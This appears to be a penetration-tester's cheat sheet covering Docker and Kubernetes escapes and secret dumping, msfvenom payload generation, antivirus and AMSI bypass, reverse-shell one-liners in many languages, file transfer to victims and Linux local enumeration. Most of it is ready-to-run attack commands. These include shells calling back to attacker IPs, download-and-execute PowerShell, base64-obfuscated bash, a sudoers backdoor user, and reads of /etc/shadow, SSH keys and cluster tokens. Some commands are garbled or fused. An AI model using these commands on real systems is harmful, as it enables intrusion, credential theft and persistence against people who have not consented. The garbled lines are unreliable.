# Check swarm nodes
docker node ls
# Start new service in cluster
docker service create --replicas 1 --publish 5555:80 --name nginxservice
nginx:alpine
# List services
docker service ls
# Inspect service
docker service inspect --pretty nginxservice
# Remove service
docker service rm nginxservice
# Leave cluster
docker swarm leave (--force if only one node)
# Start portainer
docker run -d -p 9000:9000 --name portainer \
--restart always -v /var/run/docker.sock:/var/run/docker.sock \
-v /opt/portainer:/data portainer/portainer
# Tools
# https://github.com/lightspin-tech/red-kube
Docker security basics
# Get image checksum
docker images --digests ubuntu
# Check content trust to get signatures
docker trust inspect mediawiki --pretty
# Check vulns in container
- Look vulns in base image
- Use https://vulners.com/audit to check for docker packages
- Inside any container
cat /etc/issue
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
- Using Trivy https://github.com/aquasecurity/trivy
trivy image knqyf263/vuln-image:1.2.3
# Check metadata, secrets, env variables
docker inspect <image name>
docker inspect <container name>
# Review image history
docker history image:latest
# Inspect everything
docker volume inspect wordpress_db_data
docker network inspect wordpress_default
# Interesting look in the volume mountpoints
docker volume inspect whatever
cd /var/lib/docker/volumes/whatever
# Integrity check for changed files
docker diff imagename
# Check if you're under a container
https://github.com/genuinetools/amicontained#usage
# Docker Bench Security (Security Auditor)
cd /opt/docker-bench-security
sudo bash docker-bench-security.sh
Detect inside a docker or running containers
- MAC Address
- Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
- List of running processes (ps aux)
- Small number of processes generally indicate a container
- CGROUPs
- cat /proc/1/cgroup – should show docker process running
- Check for existence of docker.sock (ls -al /var/run/docker.sock)
- Check for container capabilities: capsh –print
- On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports
Escape NET_ADMIN docker container
# Check if you're NET_ADMIN
ip link add dummy0 type dummy
ip link delete dummy0
# If it works, this script execute 'ps aux' in host:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# You can replace the 'ps aux' command for:
cat id_dsa.pub >> /root/.ssh/authorized_keys
Attack insecure volume mounts
# After get reverse shell in docker container (eg insecure webapp with RCE)
# This commands are executed inside insecure docker container
# Check if it's available docker.sock
ls -l /var/run/docker.sock
# This allows to access the host docker service using host option with docker client by using the UNIX socket
# Now download docker client in container and run commands in host
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images
Attack docker misconfiguration
# Docker container with exposed ports running docker service
# Docker API is exposed in those docker ports
# Check query docker API with curl
curl 10.11.1.111:2375/images/json | jq .
# Then you can run commands in host machine
docker -H tcp://10.11.1.111:2375 ps
docker -H tcp://10.11.1.111:2375 images
Audit Docker Runtime and Registries
# Runtime
# Host with multiple dockers running
# Check docker daemon
docker system info
# Check docker API exposed on 0.0.0.0
cat /lib/systemd/system/docker.service
# Check if docker socket is running in any container
docker inspect | grep -i '/var/run/'
# Check rest of files docker related
ls -l /var/lib/docker/
# Check for any secret folder
ls -l /var/run/
ls -l /run/
# Public Registries
# Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
# Check if docker registry is up and running
curl -s http://localhost:5000/v2/_catalog | jq .
# Get tags of docker image
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
# Download image locally
docker pull localhost:5000/devcode:latest
# Access container to review it
docker run --rm -it localhost:5000/devcode:latest sh
# Once mounted we can check the docker daemon config to see user and registry
docker system info
# And we can check the registries configured for the creds
cat ~/.docker/config.json
# Private registries
# Check catalog
curl 10.11.1.111:5000/v2/_catalog
# Get image tags
curl 10.11.1.111:5000/v2/privatecode/tags/list
# Add the insecure-registry tag to download docker image
vi /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
# Restart docker service
sudo systemctl daemon-reload
sudo service docker restart
# Download the image
docker pull 10.11.1.111:5000/privatecode:whatevertag
# Enter inside container and enumerate
docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
cd /app
ls -la
Attack container capabilities
# Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
# You're already inside container
# Check capabilities
capsh --print
# Upload reverse shell and linux-injector
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
# Check any process running as root
ps aux | grep root
./injector PID_RUNNING_AS_ROOT payload.bin
Tools
# https://github.com/anchore/grype
# https://github.com/aquasecurity/trivy
# https://github.com/cr0hn/dockerscan
# https://github.com/P3GLEG/Whaler
# https://github.com/RhinoSecurityLabs/ccat
https://github.com/stealthcopter/deepce
https://github.com/anchore/grype
Kubernetes
https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-1-2b328252954a
https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5
Concepts
- Kubernetes is a security orchestrator
- Kubernetes master provides an API to interact with nodes
- Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.
- Kubernetes objects are abstractions of states of your system.
- Pods: collection of container share a network and namespace in the same node.
- Services: Group of pods running in the cluster.
- Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.
- Namespaces: scope of Kubernetes objects, like a workspace (dev-space).
Commands
# kubectl cli for run commands against Kubernetes clusters
# Get info
kubectl cluster-info
# Get other objects info
kubectl get nodes
kubectl get pods
kubectl get services
# Deploy
kubectl run nginxdeployment --image=nginx:alpine
# Port forward to local machine
kubectl port-forward <PODNAME> 1234:80
# Deleting things
kubectl delete pod
# Shell in pod
kubectl exec -it <PODNAME> sh
# Check pod log
kubectl logs <PODNAME>
# List API resources
kubectl api-resources
# Check permissions
kubectl auth can-i create pods
# Get secrets
kubectl get secrets <SECRETNAME> -o yaml
# Get more info of specific pod
kubectl describe pod <PODNAME>
# Get cluster info
kubectl cluster-info dump
# Known vulns
CVE-2016-9962
CVE-2018-1002105
CVE-2019-5736
CVE-2019-9901
External Recon
# Find subdomains like k8s.target.tld
# Search for yaml files on GitHub
# Check etcdtcl exposed public
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
# Check pods info disclosure on http://<external-IP>:10255/pods
Common open ports
Common endpoints
Quick attacks
# Dump all
for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; done
# Check for anon access
curl -k https://<master_ip>:<port>
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
curl http://<external-IP>:10255/pods
#Dump tokens from inside the pod
kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token
#Dump all tokens from secrets
kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt
#Standard query for creds dump:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/
# This also could works /api/v1/namespaces/kube-system/secrets/
Attack Private Registry misconfiguration
# Web application deployed vulnerable to lfi
# Read configuration through LFI
cat /root/.docker/config.json
# Download this file to your host and configure in your system
docker login -u _json_key -p "$(cat config.json)" https://gcr.io
# Pull the private registry image to get the backend source code
docker pull gcr.io/training-automation-stuff/backend-source-code:latest
# Inspect and enumerate the image
docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
# Check for secrets inside container
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
# Check environment vars
printenv
Attack Cluster Metadata with SSRF
# Webapp that check the health of other web applications
# Request to
curl http://169.254.169.254/computeMetadata/v1/
curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
Attack escaping pod volume mounts to access node and host
# Webapp makes ping
# add some listing to find docker.sock
ping whatever;ls -l /custom/docker/
# Once found, download docker client
ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images
Tools
# kube-bench - secutity checker
kubectl apply -f kube-bench-node.yaml
kubectl get pods --selector job-name=kube-bench-node
kubectl logs kube-bench-podname
# https://github.com/aquasecurity/kube-hunter
kube-hunter --remote some.node.com
# kubeaudit
./kubeaudit all
# kubeletctl
# https://github.com/cyberark/kubeletctl
kubeletctl scan rce XXXXXXXX
# https://github.com/cdk-team/CDK
cdk evaluate
# Api audit
# https://github.com/averonesis/kubolt
# PurplePanda https://github.com/carlospolop/PurplePanda
CDN - Comain Fronting
CDN - Domain Fronting
**Tools**
https://github.com/rvrsh3ll/FindFrontableDomains
https://github.com/stevecoward/domain-fronting-tools
# Domain Fronting TLS 1.3
https://github.com/SixGenInc/Noctilucent
https://github.com/vysecurity/DomainFrontingLists
Payloads
msfvenom
# Creating a payload
msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]
# List of payloads
msfvenom -l payloads
# Payload options
msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options
# Creating a payload with encoding
msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] > outputfile
# Creating a payload using a template
msfvenom -p [payload] -x [template] -f [formattype] > outputfile
# Listener for MSfvenom Payloads:
msf5>use exploit/multi/handler
msf5>set payload windows/meterpreter/reverse_tcp
msf5>set lhost
msf5>set lport
msf5> set ExitOnSession false
msf5>exploit -j
# Windows Payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
# Linux Payloads
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
# Add a user in windows with msfvenom:
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe
# Web Payloads
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
# Scripting Payloads
# Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
# Creating an Msfvenom Payload with an encoder while removing bad charecters:
msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x0A\x0D"
https://hacker.house/lab/windows-defender-bypassing-for-meterpreter/
Bypass AV
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
Bypass Amsi
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
Office Docs
https://github.com/thelinuxchoice/eviloffice
https://github.com/thelinuxchoice/evilpdf
Reverse Shells
Tools
**Tools**
https://github.com/ShutdownRepo/shellerator
https://github.com/0x00-0x00/ShellPop
https://github.com/cybervaca/ShellReverse
https://liftoff.github.io/pyminifier/
https://github.com/xct/xc/
https://weibell.github.io/reverse-shell-generator/
https://github.com/phra/PEzor
Linux
# Bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f
nc -e /bin/sh 10.11.1.111 4443
bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1
# Bash B64 Ofuscated
{echo,COMMAND_BASE64}|{base64,-d}|bash
echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash
bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i}
echo COMMAND_BASE64 | base64 -d | bash
# Perl
perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\'
# Python IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# PHP:
# /usr/share/webshells/php/php-reverse-shell.php
# http://pentestmonkey.net/tools/web-shells/php-reverse-shell
php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
$sock, 1=>$sock, 2=>$sock), $pipes);?>
# Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
# AWK
awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
# Socat
socat TCP4:10.10.10.10:443 EXEC:/bin/bash
# Socat listener
socat -d -d TCP4-LISTEN:443 STDOUT
Windows
# Netcat
nc -e cmd.exe 10.11.1.111 4443
# Powershell
$callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Undetectable:
# https://0xdarkvortex.dev/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
# Undetectable 2:
# https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
# 64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
# 32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
Tips
# rlwrap
# https://linux.die.net/man/1/rlwrap
# Connect to a netcat client:
rlwrap nc [IP Address] [port]
# Connect to a netcat Listener:
rlwrap nc -lvp [Localport]
# Linux Backdoor Shells:
rlwrap nc [Your IP Address] -e /bin/sh
rlwrap nc [Your IP Address] -e /bin/bash
rlwrap nc [Your IP Address] -e /bin/zsh
rlwrap nc [Your IP Address] -e /bin/ash
# Windows Backdoor Shell:
rlwrap nc -lv [localport] -e cmd.exe
File transfer
Linux
# Web Server
# https://github.com/sc0tfree/updog
pip3 install updog
updog
updog -d /another/directory
updog -p 1234
updog --password examplePassword123!
updog --ssl
# Python web server
python -m SimpleHTTPServer 8080
# FTP Server
twistd -n ftp -p 21 --root /path/
# In victim:
curl -T out.txt ftp://10.10.15.229
# TFTP Server
# In Kali
atftpd --daemon --port 69 /tftp
# In reverse Windows
tftp -i 10.11.1.111 GET nc.exe
nc.exe -e cmd.exe 10.11.1.111 4444
# Example:
http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=nc.exe%20-e%20cmd.exe%2010.11.0.105%204444
Windows
# Bitsadmin
bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
# certutil
certutil.exe -urlcache -split -f "http://10.11.1.111/Powerless.bat" Powerless.bat
# Powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.11.1.111/CLSID.list","C:\Users\Public\CLSID.list")
invoke-webrequest -Uri http://10.10.14.19:9090/PowerUp.ps1 -OutFile powerup.ps1
# FTP
# In reverse shell"
echo open 10.11.1.111 > ftp.txt)
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -v -n -s:ftp.txt
# SMB Server
# Attack machine
python /usr/share/doc/python-impacket/examples/smbserver.py Lab "/root/labs/public/10.11.1.111" -u usuario -p pass
python /usr/share/doc/python3-impacket/examples/smbserver.py Lab "/root/htb/169-resolute/smb"
# Or SMB service
# http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
vim /etc/samba/smb.conf
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
chmod -R 777 smb_path
chown -R nobody:nobody smb_path
service smbd restart
# Victim machine with reverse shell
# Download: copy \\10.11.1.111\Lab\wce.exe .
# Upload: copy wtf.jpg \\10.11.1.111\Lab
# VBScript
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
# Execute
cscript wget.vbs http://10.11.1.111/file.exe file.exe
Linux
Local Enum
**Tools**
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
https://github.com/mbahadou/postenum/blob/master/postenum.sh
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
https://gtfobins.github.io/
# Spawning shell
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within vi)
:!bash
:set shell=/bin/bash:shell
(From within nmap)
!sh
# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Download files from attacker
wget http://10.11.1.111:8080/ -r; mv 10.11.1.111:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linpeas.sh postenum.sh pspy32 pspy64
# Enum scripts
./LinEnum.sh -t -k password -r LinEnum.txt
./postenum.sh
./linpeas.sh
./pspy
# Common writable directories
/tmp
/var/tmp
/dev/shm
# Add user to sudoers
useradd hacker
passwd hacker
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers
# sudo permissions
sudo -l -l
# Journalctl
If you can run as root, run in small window and !/bin/sh
# Crons
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
cat /etc/frontal
cat /etc/anacron
systemctl list-timers --all
# Common info
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts
# Users with login
grep -vE "nologin" /etc/passwd
# Network info
cat /proc/net/arp
cat /proc/net/fib_trie
cat /proc/net/fib_trie | grep "|--" | egrep -v "0.0.0.0| 127."
awk '/32 host/ { print f } {f=$2}' <<< "$(0; i-=2) {
ret = ret"."hextodec(substr(str,i,2))
}
ret = ret":"hextodec(substr(str,index(str,":")+1,4))
return ret
}
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp
# Netstat without netstat 2
echo "YXdrICdmdW5jdGlvbiBoZXh0b2RlYyhzdHIscmV0LG4saSxrLGMpewogICAgcmV0ID0gMAogICAgbiA9IGxlbmd0aChzdHIpCiAgICBmb3IgKGkgPSAxOyBpIDw9IG47IGkrKykgewogICAgICAgIGMgPSB0b2xvd2VyKHN1YnN0cihzdHIsIGksIDEpKQogICAgICAgIGsgPSBpbmRleCgiMTIzNDU2Nzg5YWJjZGVmIiwgYykKICAgICAgICByZXQgPSByZXQgKiAxNiArIGsKICAgIH0KICAgIHJldHVybiByZXQKfQpmdW5jdGlvbiBnZXRJUChzdHIscmV0KXsKICAgIHJldD1oZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpLTIsMikpOyAKICAgIGZvciAoaT01OyBpPjA7IGktPTIpIHsKICAgICAgICByZXQgPSByZXQiLiJoZXh0b2RlYyhzdWJzdHIoc3RyLGksMikpCiAgICB9CiAgICByZXQgPSByZXQiOiJoZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpKzEsNCkpCiAgICByZXR1cm4gcmV0Cn0gCk5SID4gMSB7e2lmKE5SPT0yKXByaW50ICJMb2NhbCAtIFJlbW90ZSI7bG9jYWw9Z2V0SVAoJDIpO3JlbW90ZT1nZXRJUCgkMyl9e3ByaW50IGxvY2FsIiAtICJyZW1vdGV9fScgL3Byb2MvbmV0L3RjcCAKqtc" | base64 -d | sh
# Nmap without nmap
for ip in {1..5}; do for port in {21,22,5000,8000,3306}; do (echo >/dev/tcp/172.18.0.$ip/$port) >& /dev/null && echo "172.18.0.$ip port $port is open"; done; done
# Open ports without netstat
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'
# Check ssh files:
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
# SUID
find / -perm -4000 -type f 2>/dev/null
# ALL PERMS
find / -perm -777 -type f 2>/dev/null
# SUID for current user
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
# Writables for current user/group
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
# Dirs with +w perms for current u/g
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null
# Port Forwarding
# Chisel
# Victim server:
chisel server --auth "test:123" -p 443 --reverse
# In host attacker machine:
./chisel client --auth "test:123" 10.10.10.10:443 R:socks
# Dynamic Port Forwarding:
# Attacker machine:
ssh -D 9050 user@host
# Attacker machine Burp Proxy - SOCKS Proxy:
Mark “Override User Options”
Mark Use Socks Proxy:
SOCKS host:127.0.0.1
SOCKS port:9050
# Tunneling
Target must have SSH running for there service
1. Create SSH Tunnel: ssh -D localhost: -f -N user@localhost -p
2. Setup ProxyChains. Edit the following config file (/etc/proxychains.conf)
3. Add the following line into the config: Socks5 127.0.0.1
4. Run commands through the tunnel: proxychains
# SShuttle
